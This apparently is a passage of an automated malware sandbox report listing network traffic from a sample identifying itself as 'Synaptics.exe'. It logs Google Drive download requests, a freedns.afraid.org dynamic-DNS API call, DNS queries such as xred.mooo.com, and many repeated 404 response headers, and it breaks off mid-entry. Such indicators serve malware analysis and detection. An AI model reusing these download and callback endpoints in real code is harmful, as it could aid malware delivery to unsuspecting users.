Source: global traffic	HTTP traffic detected: GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeHost: docs.google.comCache-Control: no-cacheCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1User-Agent: Synaptics.exeCache-Control: no-cacheHost: drive.usercontent.google.comConnection: Keep-AliveCookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk
Source: global traffic	HTTP traffic detected: GET /api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978 HTTP/1.1User-Agent: MyAppHost: freedns.afraid.orgCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: docs.google.com
Source: global traffic	DNS traffic detected: DNS query: xred.mooo.com
Source: global traffic	DNS traffic detected: DNS query: freedns.afraid.org
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:54:59 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-2vnudYcfyq3QDeWN7xdFxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nMT0EZnzMTmfPR-WQIKPiQrc-OfxdGe_B8AyrxjNK6Wa2JS_sxGT4g7KlaBz-7JCdL9dVkServer: UploadServerSet-Cookie: NID=516=qiwzkR3xasI2its3pexqnhZSbYZQe_3_6JsC4tTNXGitNeI2ku4Fk3eHoxMuQJHTO1N0HIGN31nGe80YlH6c2BDEHlHaMPVtrU7pIdDQDEnEPmAm0iwZn0gkSteDveLTM0o3EqdYgJNUsgsPQ3GLJI2NvPQx-taNlTNUEFRH1wI; expires=Fri, 24-Jan-2025 19:54:59 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:54:59 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-c5Z4XRN0g38ylMniDgEAvQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNU1b15-Gfnp6rDNlDQR8iCymr9ZhDXPEA_Y4Fy5SdNxzVFZx3vh9fQjELWXvhaua1PM2EServer: UploadServerSet-Cookie: NID=516=HtEJUzGOcHsXAUdlPOPIWRinzMJ_D56-TS10MWlIWV4x9tye4yvSCnV3EyLQ8VZBiwPREMXX2qqNdvwNgZaS5v9Hn3jccwW-4ZGGghophY4Rh1iU-Ol4GSG74sa4AyaWibKcidx_sRg3_QDKbuecWm2RydTyyHCvfNgvqlSMp8Y; expires=Fri, 24-Jan-2025 19:54:59 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:00 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-5t3NmKjvPPPbrKiKAlLs5A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nNxl9CZyXolTEOlPXDp-Tp_2HBMhQ007tUdyj6K6ooms_NBUYVFCvIAJblClvc09ucBkmIServer: UploadServerSet-Cookie: NID=516=BP3v9g5IPv4fqgPIrLK5abHnATCIOS_dEtmKqd1Wbup5f4tmTLzbfXJDC__xlg0yZtTyq1JapzKkpey2Nv4q5Br9PGbHWcshPLVxwdVSAgS2_2wEMbRsNkBOmahSZRswn__7pMUYTI7cwNwtbsCvqE-dM7JG8sWrmLmO737pGIc; expires=Fri, 24-Jan-2025 19:55:00 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:01 GMTP3P: CP="This is not a P3P policy! See g.co/p3phelp for more info."Content-Security-Policy: script-src 'report-sample' 'nonce-fvS2patZqTW9rlnjDOXxfg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOgZQJL5JRhn4ojlWBoI_47ZyLgc_d1ez6zfZRQcAjXElPugU1A8TejR-x_7cfdbKk_GokMaJWTlgServer: UploadServerSet-Cookie: NID=516=ZLGvlm0rf74JdzE9QFDr0XhdNBuX6ZXe_5JaBuHUpRkqxX2aJxH9jTroCBS3DDMmOc_pUvt1soRbGECc1SCl4bFMDLuFAo8-ASEqrj4TY8Z3IjzgTr_GFM-NhNd0XvrcAH1v_7F3w6r7HiYoiVb0c_pnyPifZyuZktlaUQ-zqPk; expires=Fri, 24-Jan-2025 19:55:01 GMT; path=/; domain=.google.com; HttpOnlyAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:01 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-fld2zJCRiL0I4SFdQjl3Aw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOShgmU-WNr_CYmPDDoBXhxUR5JLg6LaYTXvbsUUhl-dzUZY6CPUSz7TsLpBIaeEDqp-jkServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:02 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-fjCy2-5RSPEK-p138hkdBg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nM2jDazcF9ENXFnSJePdTPWwfHkx77wzMFaOUhu37LAgUdBIsMmXHqt_wleexdRPlWaG5dUoGcuKAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:03 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-qDw7JzOaDTQrWL5wlei6fw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNMgzHCbafYSnjcWhY4v4iLLuIXcfY4H05hjkGxiCj_10IwbLiBlP3WnLPwoXOS6q6fHoymu8VAGwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:04 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-uiqfdYVcegZ_4zOkmI4Gxg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNDyWLoP71-jdN80gIUj-JE7_0Ydq53lEcUqt_E4747_rUO41AEAxgPDCy9OEmFNPtBAU4WBi8AKAServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:04 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-VS2RUZQ0weDsp13GowkLSA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nPBXBX5L0YdH4NMbiQxqlwDptR2rrznL6_In9I9Guokqim3Ori1r0rLtbuAfJf8LNUnE_oServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:05 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-1xjrZBiUro2j-G6g9Kk01A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nNiXiCFnF2Gyw70tU49fBT_vz49dp2vmAGsVBT0GLlvs-OMqmRmvAQf3-T4l8cj4M_-AIwServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:05 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-_A-WLh9ID-FaFZqshcf2Jg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nNnZy6aT7Zt350kwOHg_oB-yI1f6nupDK7IqiNW7uuyCcvAoLBvVPCVtkY6dIbdADwnsb05F14OkQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:08 GMTAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-EDnhaB2QdCRW50p9_tVQEQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Cross-Origin-Opener-Policy: same-originContent-Length: 1642X-GUploader-UploadID: AHxI1nNECBOwHM70XaewUGKP6dEV1OQooPHzMNYvGZfxIg7GVoXBCHPC_cQJ-Mno5YIWnDEI2_wServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:08 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-UWO_6QZTQ9fp5sGIVfYSag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nPFQC3Kw9MiVtpru_3a_CuP4bVGoIb6XzsqOMeuYME9--E8VYMadOb4uDLJ46EIxh5X5X-u_SJuWQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:09 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-PXg38c84orimqrNGhTKWug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nMhB5jeT_ox3bC2WyNwzcdb1gJvc595_ZjC3Fn3N_H7W3DCvp0i-31azbIFZaZNbtf6hYUServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:09 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-ut8XIHuNYw-pJa0H34MUgg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1642X-GUploader-UploadID: AHxI1nOeRvld2YctQSkipt_39GWBlhRfiGWyB-YtVuOdjKXNRhmu5D_wIxy24lZYAus4F2W_qPcServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:13 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: script-src 'report-sample' 'nonce-HY9TogMlJjlsB61pdMqGNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Length: 1642X-GUploader-UploadID: AHxI1nMVU6Krc7HsoM8ABzjcUoC6Jg2k8EmvZ_JS4KWoSASy2RDxkatD8maGDXTHe9HmYhXeNMsServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:13 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-zfJPO2Xx6AXliB7Maeh6dw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nO530f6emShmiz_drqslHsxA7zseqTkYiXWsOJQE5iUZkPh5T39yMZODXTWKxsCH8YxU__R4-k2vQServer: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 25 Jul 2024 19:55:14 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-AreKgBHQBSGHzS31rb50Lg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1642X-GUploader-UploadID: AHxI1nPgJ4kB6QHAPlC2yfYHbB5i5IC39V6SISndecJrHqtMlywo6ruET5poJbIgu0DZHeGDWRUServer: 